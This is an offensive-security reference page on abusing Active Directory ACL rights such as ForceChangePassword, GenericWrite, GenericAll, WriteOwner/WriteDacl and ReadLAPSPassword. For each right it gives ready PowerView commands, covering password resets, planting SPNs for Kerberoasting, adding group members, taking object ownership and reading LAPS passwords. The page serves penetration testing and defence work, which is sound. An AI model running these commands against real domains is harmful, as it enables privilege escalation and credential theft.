> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# AD Access Control List (ACL) Abuse

Every AD object carries its own Access Control List (ACL), and the rights granted there are often far more exploitable than they look: write access to an "unimportant" attribute on one user can chain into Domain Admin. These rights are exactly what [BloodHound](https://0-x.dev/ad/bloodhound.md) graphs as edges between objects, finding who holds which right over what is really a BloodHound / PowerView enumeration question, this page covers what to actually do once one is found.

***

## [ForceChangePassword](https://bloodhound.specterops.io/resources/edges/force-change-password)

Reset a user's password without knowing their current one.

```powershell theme={null}
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
$NewPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

Set-DomainUserPassword -Identity damundsen -AccountPassword $NewPassword -Credential $Cred -Verbose
```

***

## [GenericWrite](https://bloodhound.specterops.io/resources/edges/generic-write)

Write access to any non-protected attribute, what that turns into depends on the object type:

* **User:** assign an SPN (`serviceprincipalname`), then run [Kerberoasting](https://0-x.dev/ad/kerberoasting.md) against an account that never had one.
* **Group:** add yourself or another controlled principal as a member.
* **Computer:** set up Resource-Based Constrained Delegation.

```powershell theme={null}
Set-DomainObject -Credential $Cred -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
```

***

## [AddSelf](https://bloodhound.specterops.io/resources/edges/add-self) / [AddMember](https://bloodhound.specterops.io/resources/edges/add-member)

Add a principal to a group, yourself (`AddSelf`) or another (`AddMember`).

```powershell theme={null}
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred -Verbose
```

`AddSelf` means the target can add *themselves specifically*; `AddMember` is the broader right to add any principal.

***

## [GenericAll](https://bloodhound.specterops.io/resources/edges/generic-all)

Full control over the target object, the same outcomes as `GenericWrite` plus anything else: change group membership, force a password change, or Kerberoast-enable an account directly.

```powershell theme={null}
Set-DomainObject -Credential $Cred -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
```

On a computer object with LAPS deployed, `GenericAll` also implies `ReadLAPSPassword`, reading the local admin password is enough for local admin on that machine.

***

## [Owns](https://bloodhound.specterops.io/resources/edges/owns) / [WriteOwner](https://bloodhound.specterops.io/resources/edges/write-owner) / [WriteDacl](https://bloodhound.specterops.io/resources/edges/write-dacl)

These three chain together: owning an object (implicit full control) — or being able to make yourself the owner (`WriteOwner`), or write a new ACE onto its ACL directly (`WriteDacl`) — always lets you grant yourself any other right over it, since the owner can always rewrite the DACL.

```powershell theme={null}
# WriteOwner: take ownership
Set-DomainObjectOwner -Identity <target> -OwnerIdentity <attacker-controlled-principal> -Credential $Cred

# WriteDacl: grant yourself GenericAll once you own (or already have WriteDacl on) the object
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <attacker-controlled-principal> -Rights All -Credential $Cred
```

***

## [AllExtendedRights](https://bloodhound.specterops.io/resources/edges/all-extended-rights)

Grants every extended right in one shot, in practice this most often shows up as `ForceChangePassword` on a user, or, if granted on the domain object itself, the replication rights DCSync needs. Use it the same way as whichever specific right it's standing in for.

***

## [ReadLAPSPassword](https://bloodhound.specterops.io/resources/edges/read-laps-password)

Read a computer's local administrator password, if LAPS is deployed.

```powershell theme={null}
Get-DomainObject -Identity <computer-name> -Properties 'ms-mcs-admpwd'          # legacy LAPS
Get-DomainObject -Identity <computer-name> -Properties 'msLAPS-Password'        # Windows LAPS
```

The Microsoft LAPS PowerShell module (`Get-AdmPwdPassword -ComputerName <name>`) works the same way with LAPS's own module loaded instead of PowerView.

***

## [DCSync](https://bloodhound.specterops.io/resources/edges/dc-sync)

Replicate the domain's password database. Covered in full on [Domain Credential Dumping](https://0-x.dev/ad/domain-credential-dumping.md#dcsync)

***

## Quick Reference Tools

> **[BloodHound](https://0-x.dev/ad/bloodhound.md)**
>
> Graphs every ACE on this page automatically and chains them into a full attack path.

> **[BloodHound Edges Reference](https://bloodhound.specterops.io/resources/edges/)**
>
> Full documentation for every edge BloodHound graphs, including ones not covered on this page.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.